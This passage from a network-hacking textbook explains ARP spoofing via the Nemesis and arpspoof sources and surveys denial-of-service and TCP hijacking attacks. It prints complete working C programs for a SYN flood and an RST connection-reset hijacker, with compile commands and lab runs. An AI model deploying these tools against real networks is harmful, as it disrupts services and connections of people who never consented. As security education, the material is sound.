Finally, the nemesis_arp() function calls the function buildarp() with pointers to the header data structures. Judging from the way the return value from buildarp() is handled here, buildarp() builds the packet and injects it. This function is found in yet another source file, nemesis-proto_arp.c.

From nemesis-proto_arp.c

int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char *device,

int reply)

{

int n = 0;

u_int32_t arp_packetlen;

static u_int8_t *pkt;

struct libnet_link_int *l2 = NULL;

/* validation tests */

if (pd->file_mem == NULL)

pd->file_s = 0;

arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;

#ifdef DEBUG

printf("DEBUG: ARP packet length %u.\n", arp_packetlen);

printf("DEBUG: ARP payload size %u.\n", pd->file_s);

#endif

if ((l2 = libnet_open_link_interface(device, errbuf) ) == NULL)

{

nemesis_device_failure(INJECTION_LINK, (const char *)device);

return -1;

}

if (libnet_init_packet(arp_packetlen, &pkt) == -1)

{

fprintf(stderr, "ERROR: Unable to allocate packet memory.\n");

return -1;

}

libnet_build_ethernet(eth->ether_dhost, eth->ether_shost, eth->ether_type,

NULL, 0, pkt);

libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln, arp->ar_pln,

arp->ar_op, arp->ar_sha, arp->ar_spa, arp->ar_tha, arp->ar_tpa,

pd->file_mem, pd->file_s, pkt + LIBNET_ETH_H);

n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H +

LIBNET_ARP_H + pd->file_s);

if (verbose == 2)

nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE);

if (verbose == 3)

nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);

if (n != arp_packetlen)

{

fprintf(stderr, "ERROR: Incomplete packet injection. Only "

"wrote %d bytes.\n", n);

}

else

{

if (verbose)

{

if (memcmp(eth->ether_dhost, (void *)&one, 6))

{

printf("Wrote %d byte unicast ARP request packet through "

"linktype %s.\n", n,

nemesis_lookup_linktype(l2->linktype));

}

else

{

printf("Wrote %d byte %s packet through linktype %s.\n", n,

(eth->ether_type == ETHERTYPE_ARP ? "ARP" : "RARP"),

nemesis_lookup_linktype(l2->linktype));

}

}

}

libnet_destroy_packet(&pkt);

if (l2 != NULL)

libnet_close_link_interface(l2);

return (n);

}

At a high level, this function should be readable to you. Using libnet functions, it opens a link interface and initializes memory for a packet. Then, it builds the Ethernet layer using elements from the Ethernet header data structure and then does the same for the ARP layer. Next, it writes the packet to the device to inject it, and finally cleans up by destroying the packet and closing the interface. The documentation for these functions from the libnet man page is shown below for clarity.

From the libnet Man Page

libnet_open_link_interface() opens a low-level packet interface. This is

required to write link layer frames. Supplied is a u_char pointer to the

interface device name and a u_char pointer to an error buffer. Returned is a

filled in libnet_link_int struct or NULL on error.

libnet_init_packet() initializes a packet for use. If the size parameter is

omitted (or negative) the library will pick a reasonable value for the user

(currently LIBNET_MAX_PACKET). If the memory allocation is successful, the

memory is zeroed and the function returns 1. If there is an error, the

function returns -1. Since this function calls malloc, you certainly should,

at some point, make a corresponding call to destroy_packet().

libnet_build_ethernet() constructs an ethernet packet. Supplied is the

destination address, source address (as arrays of unsigned characterbytes)

and the ethernet frame type, a pointer to an optional data payload, the

payload length, and a pointer to a pre-allocated block of memory for the

packet. The ethernet packet type should be one of the following:

Value Type

ETHERTYPE_PUP PUP protocol

ETHERTYPE_IP IP protocol

ETHERTYPE_ARP ARP protocol

ETHERTYPE_REVARP Reverse ARP protocol

ETHERTYPE_VLAN IEEE VLAN tagging

ETHERTYPE_LOOPBACK Used to test interfaces

libnet_build_arp() constructs an ARP (Address Resolution Protocol) packet.

Supplied are the following: hardware address type, protocol address type, the

hardware address length, the protocol address length, the ARP packet type, the

sender hardware address, the sender protocol address, the target hardware

address, the target protocol address, the packet payload, the payload size,

and finally, a pointer to the packet header memory. Note that this function

only builds ethernet/IP ARP packets, and consequently the first value should

be ARPHRD_ETHER. The ARP packet type should be one of the following:

ARPOP_REQUEST, ARPOP_REPLY, ARPOP_REVREQUEST, ARPOP_REVREPLY,

ARPOP_INVREQUEST, or ARPOP_INVREPLY.

libnet_destroy_packet() frees the memory associated with the packet.

libnet_close_link_interface() closes an opened low-level packet interface.

Returned is 1 upon success or -1 on error.

With a basic understanding of C, API documentation, and common sense, you can teach yourself just by examining open source projects. For example, Dug Song provides a program called arpspoof, included with dsniff, that performs the ARP redirection attack.

From the arpspoof Man Page

NAME

arpspoof - intercept packets on a switched LAN

SYNOPSIS

arpspoof [-i interface] [-t target] host

DESCRIPTION

arpspoof redirects packets from a target host (or all hosts) on the LAN

intended for another host on the LAN by forging ARP replies. This is

an extremely effective way of sniffing traffic on a switch.

Kernel IP forwarding (or a userland program which accomplishes the

same, e.g. fragrouter(8)) must be turned on ahead of time.

OPTIONS

-i interface

Specify the interface to use.

-t target

Specify a particular host to ARP poison (if not specified, all

hosts on the LAN).

host Specify the host you wish to intercept packets for (usually the

local gateway).

SEE ALSO

dsniff(8), fragrouter(8)

AUTHOR

Dug Song <dugsong@monkey.org>

The magic of this program comes from its arp_send() function, which also uses libnet to spoof packets. The source code for this function should be readable to you, since many of the previously explained libnet functions are used (shown in bold below). The use of structures and an error buffer should also be familiar.

arpspoof.c

static struct libnet_link_int *llif;

static struct ether_addr spoof_mac, target_mac;

static in_addr_t spoof_ip, target_ip;

...

int

arp_send(struct libnet_link_int *llif, char *dev,

int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)

{

char ebuf[128];

u_char pkt[60];

if (sha == NULL &&

(sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {

return (-1);

}

if (spa == 0) {

if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)

return (-1);

spa = htonl(spa); /* XXX */

}

if (tha == NULL)

tha = "\xff\xff\xff\xff\xff\xff";

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);

libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,

op, sha, (u_char *)&spa, tha, (u_char *)&tpa,

NULL, 0, pkt + ETH_H);

fprintf(stderr, "%s ",

ether_ntoa((struct ether_addr *)sha));

if (op == ARPOP_REQUEST) {

fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",

ether_ntoa((struct ether_addr *)tha),

libnet_host_lookup(tpa, 0),

libnet_host_lookup(spa, 0));

}

else {

fprintf(stderr, "%s 0806 42: arp reply %s is-at ",

ether_ntoa((struct ether_addr *)tha),

libnet_host_lookup(spa, 0));

fprintf(stderr, "%s\n",

ether_ntoa((struct ether_addr *)sha));

}

return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));

}

The remaining libnet functions get hardware addresses, get the IP address, and look up hosts. These functions have descriptive names and are explained in detail on the libnet man page.

From the libnet Man Page

libnet_get_hwaddr() takes a pointer to a link layer interface struct, a

pointer to the network device name, and an empty buffer to be used in case of

error. The function returns the MAC address of the specified interface upon

success or 0 upon error (and errbuf will contain a reason).

libnet_get_ipaddr() takes a pointer to a link layer interface struct, a

pointer to the network device name, and an empty buffer to be used in case of

error. Upon success the function returns the IP address of the specified

interface in host-byte order or 0 upon error (and errbuf will contain a

reason).

libnet_host_lookup() converts the supplied network-ordered (big-endian) IPv4

address into its human-readable counterpart. If use_name is 1,

libnet_host_lookup() will attempt to resolve this IP address and return a

hostname, otherwise (or if the lookup fails), the function returns a dotted-

decimal ASCII string.

Once you've learned how to read C code, existing programs can teach you a lot by example. Programming libraries like libnet and libpcap have plenty of documentation that explains all the details you may not be able to divine from the source alone. The goal here is to teach you how to learn from source code, as opposed to just teaching how to use a few libraries. After all, there are many other libraries and a lot of existing source code that uses them.

Denial of Service

One of the simplest forms of network attack is a Denial of Service (DoS) attack. Instead of trying to steal information, a DoS attack simply prevents access to a service or resource. There are two general forms of DoS attacks: those that crash services and those that flood services.

Denial of Service attacks that crash services are actually more similar to program exploits than network-based exploits. Often, these attacks are dependent on a poor implementation by a specific vendor. A buffer overflow exploit gone wrong will usually just crash the target program instead of directing the execution flow to the injected shellcode. If this program happens to be on a server, then no one else can access that server after it has crashed. Crashing DoS attacks like this are closely tied to a certain program and a certain version. Since the operating system handles the network stack, crashes in this code will take down the kernel, denying service to the entire machine. Many of these vulnerabilities have long since been patched on modern operating systems, but it's still useful to think about how these techniques might be applied to different situations.

SYN Flooding

A SYN flood tries to exhaust states in the TCP/IP stack. Since TCP maintains "reliable" connections, each connection needs to be tracked somewhere. The TCP/IP stack in the kernel handles this, but it has a finite table that can only track so many incoming connections. A SYN flood uses spoofing to take advantage of this limitation.

The attacker floods the victim's system with many SYN packets, using a spoofed nonexistent source address. Since a SYN packet is used to initiate a TCP connection, the victim's machine will send a SYN/ACK packet to the spoofed address in response and wait for the expected ACK response. Each of these waiting, half-open connections goes into a backlog queue that has limited space. Since the spoofed source addresses don't actually exist, the ACK responses needed to remove these entries from the queue and complete the connections never come. Instead, each half-open connection must time out, which takes a relatively long time.

As long as the attacker continues to flood the victim's system with spoofed SYN packets, the victim's backlog queue will remain full, making it nearly impossible for real SYN packets to get to the system and initiate valid TCP/IP connections.

Using the Nemesis and arpspoof source code as reference, you should be able to write a program that performs this attack. The example program below uses libnet functions pulled from the source code and socket functions previously explained. The Nemesis source code uses the function libnet_get_prand() to obtain pseudo-random numbers for various IP fields. The function libnet_seed_prand() is used to seed the randomizer. These functions are similarly used below.

synflood.c

#include <libnet.h>

#define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.

/* Returns an IP in x.x.x.x notation */

char *print_ip(u_long *ip_addr_ptr) {

return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );

}

int main(int argc, char *argv[]) {

u_long dest_ip;

u_short dest_port;

u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;

int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;

if(argc < 3)

{

printf("Usage:\n%s\t <target host> <target port>\n", argv[0]);

exit(1);

}

dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host

dest_port = (u_short) atoi(argv[2]); // The port

network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.

if (network == -1)

libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program

must run

as root.\n");

libnet_init_packet(packet_size, &packet); // Allocate memory for packet.

if (packet == NULL)

libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");

libnet_seed_prand(); // Seed the random number generator.

printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));

while(1) // loop forever (until break by CTRL-C)

{

libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header.

IPTOS_LOWDELAY, // IP tos

libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)

0, // Frag stuff

libnet_get_prand(LIBNET_PR8), // TTL (randomized)

IPPROTO_TCP, // Transport protocol

libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)

dest_ip, // Destination IP

NULL, // Payload (none)

0, // Payload length

packet); // Packet header memory

libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)

dest_port, // Destination TCP port

libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)

libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)

TH_SYN, // Control flags (SYN flag set only)

libnet_get_prand(LIBNET_PRu16), // Window size (randomized)

0, // Urgent pointer

NULL, // Payload (none)

0, // Payload length

packet + LIBNET_IP_H); // Packet header memory

if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)

libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.

if (byte_count < packet_size)

libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d

bytes)", byte_count, packet_size);

usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.

}

libnet_destroy_packet(&packet); // Free packet memory.

if (libnet_close_raw_sock(network) == -1) // Close the network interface.

libnet_error(LIBNET_ERR_WARNING, "can't close network interface.");

return 0;

}

This program uses a print_ip() function to handle converting the u_long type, used by libnet to store IP addresses, to the struct type expected by inet_ntoa(). The value doesn't change—the typecasting just appeases the compiler.

The current release of libnet is version 1.1, which is incompatible with libnet 1.0. However, Nemesis and arpspoof still rely on the 1.0 version of libnet, so this version is included in the LiveCD and this is also what we will use in our synflood program. Similar to compiling with libpcap, when compiling with libnet, the flag -lnet is used. However, this isn't quite enough information for the compiler, as the output below shows.

reader@hacking:~/booksrc $ gcc -o synflood synflood.c -lnet

In file included from synflood.c:1:

/usr/include/libnet.h:87:2: #error "byte order has not been specified, you'll"

synflood.c:6: error: syntax error before string constant

reader@hacking:~/booksrc $

The compiler still fails because several mandatory define flags need to be set for libnet. Included with libnet, a program called libnet-config will output these flags.

reader@hacking:~/booksrc $ libnet-config --help

Usage: libnet-config [OPTIONS]

Options:

[--libs]

[--cflags]

[--defines]

reader@hacking:~/booksrc $ libnet-config --defines

-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H

-DLIBNET_LIL_ENDIAN

Using the BASH shell's command substitution in both, these defines can be dynamically inserted into the compile command.

reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o synflood

synflood.c -lnet

reader@hacking:~/booksrc $ ./synflood

Usage:

./synflood <target host> <target port>

reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ ./synflood 192.168.42.88 22

Fatal: can't open network interface. -- this program must run as root.

reader@hacking:~/booksrc $ sudo ./synflood 192.168.42.88 22

SYN Flooding port 22 of 192.168.42.88..

In the example above, the host 192.168.42.88 is a Windows XP machine running an openssh server on port 22 via cygwin. The tcpdump output below shows the spoofed SYN packets flooding the host from apparently random IPs. While the program is running, legitimate connections cannot be made to this port.

reader@hacking:~/booksrc $ sudo tcpdump -i eth0 -nl -c 15 "host 192.168.42.88"

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S

751659999:751659999(0) win 14609

17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S

139725579:139725579(0) win 64357

17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S

322318966:322318966(0) win 43747

17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S

685911671:685911671(0) win 62957

17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S

71363071:71363071(0) win 30490

17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S

1420507902:1420507902(0) win 53397

17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S

2144342837:2144342837(0) win 10594

17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S

1185734766:1185734766(0) win 57243

17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S

1825734966:1825734966(0) win 43454

17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S

1042470133:1042470133(0) win 7087

17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S

1767717206:1767717206(0) win 50156

17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S

2127701542:2127701542(0) win 23682

17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S

2069757602:2069757602(0) win 4767

17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S

1429854465:1429854465(0) win 2092

17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S

1524034954:1524034954(0) win 26970

15 packets captured

30 packets received by filter

0 packets dropped by kernel

reader@hacking:~/booksrc $ ssh -v 192.168.42.88

OpenSSH_4.3p2, OpenSSL 0.9.8c 05 Sep 2006

debug1: Reading configuration data /etc/ssh/ssh_config

debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22.

debug1: connect to address 192.168.42.88 port 22: Connection refused

ssh: connect to host 192.168.42.88 port 22: Connection refused

reader@hacking:~/booksrc $

Some operating systems (for example, Linux) use a technique called syncookies to try to prevent SYN flood attacks. The TCP stack using syncookies adjusts the initial acknowledgment number for the responding SYN/ACK packet using a value based on host details and time (to prevent replay attacks).

The TCP connections don't actually become active until the final ACK packet for the TCP handshake is checked. If the sequence number doesn't match or the ACK never arrives, a connection is never created. This helps prevent spoofed connection attempts, since the ACK packet requires information to be sent to the source address of the initial SYN packet.

The Ping of Death

According to the specification for ICMP, ICMP echo messages can only have 216, or 65,536, bytes of data in the data part of the packet. The data portion of ICMP packets is commonly overlooked, since the important information is in the header. Several operating systems crashed if they were sent ICMP echo messages that exceeded the size specified. An ICMP echo message of this gargantuan size became affectionately known as "The Ping of Death." It was a very simple hack exploiting a vulnerability that existed because no one ever considered this possibility. It should be easy for you to write a program using libnet that can perform this attack; however, it won't be that useful in the real world. Modern systems are all patched against this vulnerability.

However, history tends to repeat itself. Even though oversized ICMP packets won't crash computers anymore, new technologies sometimes suffer from similar problems. The Bluetooth protocol, commonly used with phones, has a similar ping packet on the L2CAP layer, which is also used to measure the communication time on established links. Many implementations of Bluetooth suffer from the same oversized ping packet problem. Adam Laurie, Marcel Holtmann, and Martin Herfurt have dubbed this attack Bluesmack and have released source code by the same name that performs this attack.

Teardrop

Another crashing DoS attack that came about for the same reason was called teardrop. Teardrop exploited another weakness in several vendors' implementations of IP fragmentation reassembly. Usually, when a packet is fragmented, the offsets stored in the header will line up to reconstruct the original packet with no overlap. The teardrop attack sent packet fragments with overlapping offsets, which caused implementations that didn't check for this irregular condition to inevitably crash.

Although this specific attack doesn't work anymore, understanding the concept can reveal problems in other areas. Although not limited to a Denial of Service, a recent remote exploit in the OpenBSD kernel (which prides itself on security) had to do with fragmented IPv6 packets. IP version 6 uses more complicated headers and even a different IP address format than the IPv4 most people are familiar with. Often, the same mistakes made in the past are repeated by early implementations of new products.

Ping Flooding

Flooding DoS attacks don't try to necessarily crash a service or resource, but instead try to overload it so it can't respond. Similar attacks can tie up other resources, such as CPU cycles and system processes, but a flooding attack specifically tries to tie up a network resource.

The simplest form of flooding is just a ping flood. The goal is to use up the victim's bandwidth so that legitimate traffic can't get through. The attacker sends many large ping packets to the victim, which eat away at the bandwidth of the victim's network connection.

There's nothing really clever about this attack—it's just a battle of bandwidth. An attacker with greater bandwidth than a victim can send more data than the victim can receive and therefore deny other legitimate traffic from getting to the victim.

Amplification Attacks

There are actually some clever ways to perform a ping flood without using massive amounts of bandwidth. An amplification attack uses spoofing and broadcast addressing to amplify a single stream of packets by a hundred-fold. First, a target amplification system must be found. This is a network that allows communication to the broadcast address and has a relatively high number of active hosts. Then the attacker sends large ICMP echo request packets to the broadcast address of the amplification network, with a spoofed source address of the victim's system. The amplifier will broadcast these packets to all the hosts on the amplification network, which will then send corresponding ICMP echo reply packets to the spoofed source address (i.e., to the victim's machine).

This amplification of traffic allows the attacker to send a relatively small stream of ICMP echo request packets out, while the victim gets swamped with up to a couple hundred times as many ICMP echo reply packets. This attack can be done with both ICMP packets and UDP echo packets. These techniques are known as smurf and fraggle attacks, respectively.

Figure 0x400-9.

Distributed DoS Flooding

A distributed DoS (DDoS) attack is a distributed version of a flooding DoS attack. Since bandwidth consumption is the goal of a flooding DoS attack, the more bandwidth the attacker is able to work with, the more damage they can do. In a DDoS attack, the attacker first compromises a number of other hosts and installs daemons on them. Systems installed with such software are commonly referred to as bots and make up what is known as a botnet. These bots wait patiently until the attacker picks a victim and decides to attack. The attacker uses some sort of a controlling program, and all of the bots simultaneously attack the victim with some form of flooding DoS attack. Not only does the great number of distributed hosts multiply the effect of the flooding, this also makes tracing the attack source much more difficult.

TCP/IP Hijacking

TCP/IP hijacking is a clever technique that uses spoofed packets to take over a connection between a victim and a host machine. This technique is exceptionally useful when the victim uses a one-time password to connect to the host machine. A one-time password can be used to authenticate once and only once, which means that sniffing the authentication is useless for the attacker.

To carry out a TCP/IP hijacking attack, the attacker must be on the same network as the victim. By sniffing the local network segment, all of the details of open TCP connections can be pulled from the headers. As we have seen, each TCP packet contains a sequence number in its header. This sequence number is incremented with each packet sent to ensure that packets are received in the correct order. While sniffing, the attacker has access to the sequence numbers for a connection between a victim (system A in the following illustration) and a host machine (system B). Then the attacker sends a spoofed packet from the victim's IP address to the host machine, using the sniffed sequence number to provide the proper acknowledgment number, as shown here.

Figure 0x400-10.

The host machine will receive the spoofed packet with the correct acknowledgment number and will have no reason to believe it didn't come from the victim machine.

RST Hijacking

A very simple form of TCP/IP hijacking involves injecting an authentic-looking reset (RST) packet. If the source is spoofed and the acknowledgment number is correct, the receiving side will believe that the source actually sent the reset packet, and the connection will be reset.

Imagine a program to perform this attack on a target IP. At a high level, it would sniff using libpcap, then inject RST packets using libnet. Such a program doesn't need to look at every packet but only at established TCP connections to the target IP. Many other programs that use libpcap also don't need to look at every single packet, so libpcap provides a way to tell the kernel to only send certain packets that match a filter. This filter, known as a Berkeley Packet Filter (BPF), is very similar to a program. For example, the filter rule to filter for a destination IP of 192.168.42.88 is "dst host 192.168.42.88". Like a program, this rule consists of keyword and must be compiled before it's actually sent to the kernel. The tcpdump program uses BPFs to filter what it captures; it also provides a mode to dump the filter program.

reader@hacking:~/booksrc $ sudo tcpdump -d "dst host 192.168.42.88"

(000) ldh [12]

(001) jeq #0x800 jt 2 jf 4

(002) ld [30]

(003) jeq #0xc0a82a58 jt 8 jf 9

(004) jeq #0x806 jt 6 jf 5

(005) jeq #0x8035 jt 6 jf 9

(006) ld [38]

(007) jeq #0xc0a82a58 jt 8 jf 9

(008) ret #96

(009) ret #0

reader@hacking:~/booksrc $ sudo tcpdump -ddd "dst host 192.168.42.88"

10

40 0 0 12

21 0 2 2048

32 0 0 30

21 4 5 3232246360

21 1 0 2054

21 0 3 32821

32 0 0 38

21 0 1 3232246360

6 0 0 96

6 0 0 0

reader@hacking:~/booksrc $

After the filter rule is compiled, it can be passed to the kernel for filtering. Filtering for established connections is a bit more complicated. All established connections will have the ACK flag set, so this is what we should look for. The TCP flags are found in the 13th octet of the TCP header. The flags are found in the following order, from left to right: URG, ACK, PSH, RST, SYN, and FIN. This means that if the ACK flag is turned on, the 13th octet would be 00010000 in binary, which is 16 in decimal. If both SYN and ACK are turned on, the 13th octet would be 00010010 in binary, which is 18 in decimal.

In order to create a filter that matches when the ACK flag is turned on without caring about any of the other bits, the bitwise AND operator is used. ANDing 00010010 with 00010000 will produce 00010000, since the ACK bit is the only bit where both bits are 1. This means that a filter of tcp[13] & 16 == 16 will match the packets where the ACK flag is turned on, regardless of the state of the remaining flags.

This filter rule can be rewritten using named values and inverted logic as tcp[tcpflags] & tcp-ack != 0. This is easier to read but still provides the same result. This rule can be combined with the previous destination IP rule using and logic; the full rule is shown below.

reader@hacking:~/booksrc $ sudo tcpdump -nl "tcp[tcpflags] & tcp-ack != 0 and dst host

192.168.42.88"

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

10:19:47.567378 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 2777534975 win 92

<nop,nop,timestamp 85838571 0>

10:19:47.770276 IP 192.168.42.72.40238 > 192.168.42.88.22: . ack 22 win 92 <nop,nop,

timestamp

85838621 29399>

10:19:47.770322 IP 192.168.42.72.40238 > 192.168.42.88.22: P 0:20(20) ack 22 win 92

<nop,nop,timestamp 85838621 29399>

10:19:47.771536 IP 192.168.42.72.40238 > 192.168.42.88.22: P 20:732(712) ack 766 win 115

<nop,nop,timestamp 85838622 29399>

10:19:47.918866 IP 192.168.42.72.40238 > 192.168.42.88.22: P 732:756(24) ack 766 win 115

<nop,nop,timestamp 85838659 29402>

A similar rule is used in the following program to filter the packets libpcap sniffs. When the program gets a packet, the header information is used to spoof a RST packet. This program will be explained as it's listed.

rst_hijack.c

#include <libnet.h>

#include <pcap.h>

#include "hacking.h"

void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);

int set_packet_filter(pcap_t *, struct in_addr *);

struct data_pass {

int libnet_handle;

u_char *packet;

};

int main(int argc, char *argv[]) {

struct pcap_pkthdr cap_header;

const u_char *packet, *pkt_data;

pcap_t *pcap_handle;

char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE

char *device;

u_long target_ip;

int network;

struct data_pass critical_libnet_data;

if(argc < 1) {

printf("Usage: %s <target IP>\n", argv[0]);

exit(0);

}

target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);

if (target_ip == -1)

fatal("Invalid target address");

device = pcap_lookupdev(errbuf);

if(device == NULL)

fatal(errbuf);

pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);

if(pcap_handle == NULL)

fatal(errbuf);

critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);

if(critical_libnet_data.libnet_handle == -1)

libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must

run

as root.\n");

libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));

if (critical_libnet_data.packet == NULL)

libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");

libnet_seed_prand();

set_packet_filter(pcap_handle, (struct in_addr *)&target_ip);

printf("Resetting all TCP connections to %s on %s\n", argv[1], device);

pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);

pcap_close(pcap_handle);

}

The majority of this program should make sense to you. In the beginning, a data_pass structure is defined, which is used to pass data through the libpcap callback. libnet is used to open a raw socket interface and to allocate packet memory. The file descriptor for the raw socket and a pointer to the packet memory will be needed in the callback function, so this critical libnet data is stored in its own structure. The final argument to the pcap_loop() call is user pointer, which is passed directly to the callback function. By passing a pointer to the critical_libnet_data structure, the callback function will have access to everything in this structure. Also, the snap length value used in pcap_open_live() has been reduced from 4096 to 128, since the information needed from the packet is just in the headers.

/* Sets a packet filter to look for established TCP connections to target_ip */

int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip) {

struct bpf_program filter;

char filter_string[100];

sprintf(filter_string, "tcp[tcpflags] & tcp-ack != 0 and dst host %s",

inet_ntoa(*target_ip));

printf("DEBUG: filter string is \'%s\'\n", filter_string);

if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)

fatal("pcap_compile failed");

if(pcap_setfilter(pcap_hdl, &filter) == -1)

fatal("pcap_setfilter failed");

}

The next function compiles and sets the BPF to only accept packets from established connections to the target IP. The sprintf() function is just a printf() that prints to a string.

void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char

*packet) {

u_char *pkt_data;

struct libnet_ip_hdr *IPhdr;

struct libnet_tcp_hdr *TCPhdr;

struct data_pass *passed;

int bcount;

passed = (struct data_pass *) user_args; // Pass data using a pointer to a struct.

IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);

TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);

printf("resetting TCP connection from %s:%d ",

inet_ntoa(IPhdr->ip_src), htons(TCPhdr->th_sport));

printf("<---> %s:%d\n",

inet_ntoa(IPhdr->ip_dst), htons(TCPhdr->th_dport));

libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header

IPTOS_LOWDELAY, // IP tos

libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)

0, // Frag stuff

libnet_get_prand(LIBNET_PR8), // TTL (randomized)

IPPROTO_TCP, // Transport protocol

*((u_long *)&(IPhdr->ip_dst)), // Source IP (pretend we are dst)

*((u_long *)&(IPhdr->ip_src)), // Destination IP (send back to src)

NULL, // Payload (none)

0, // Payload length

passed->packet); // Packet header memory

libnet_build_tcp(htons(TCPhdr->th_dport), // Source TCP port (pretend we are dst)

htons(TCPhdr->th_sport), // Destination TCP port (send back to src)

htonl(TCPhdr->th_ack), // Sequence number (use previous ack)

libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)

TH_RST, // Control flags (RST flag set only)

libnet_get_prand(LIBNET_PRu16), // Window size (randomized)

0, // Urgent pointer

NULL, // Payload (none)

0, // Payload length

(passed->packet) + LIBNET_IP_H);// Packet header memory

if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)

libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");

bcount = libnet_write_ip(passed->libnet_handle, passed->packet,

LIBNET_IP_H+LIBNET_TCP_H);

if (bcount < LIBNET_IP_H + LIBNET_TCP_H)

libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.");

usleep(5000); // pause slightly

}

The callback function spoofs the RST packets. First, the critical libnet data is retrieved, and pointers to the IP and TCP headers are set using the structures included with libnet. We could use our own structures from hacking-network.h, but the libnet structures are already there and compensate for the host's byte ordering. The spoofed RST packet uses the sniffed source address as the destination, and vice versa. The sniffed sequence number is used as the spoofed packet's acknowledgment number, since that is what is expected.

reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o rst_hijack rst_hijack.c -lnet

-lpcap

reader@hacking:~/booksrc $ sudo ./rst_hijack 192.168.42.88

DEBUG: filter string is 'tcp[tcpflags] & tcp-ack != 0 and dst host 192.168.42.88'

Resetting all TCP connections to 192.168.42.88 on eth0

resetting TCP connection from 192.168.42.72:47783 <---> 192.168.42.88:22

Continued Hijacking

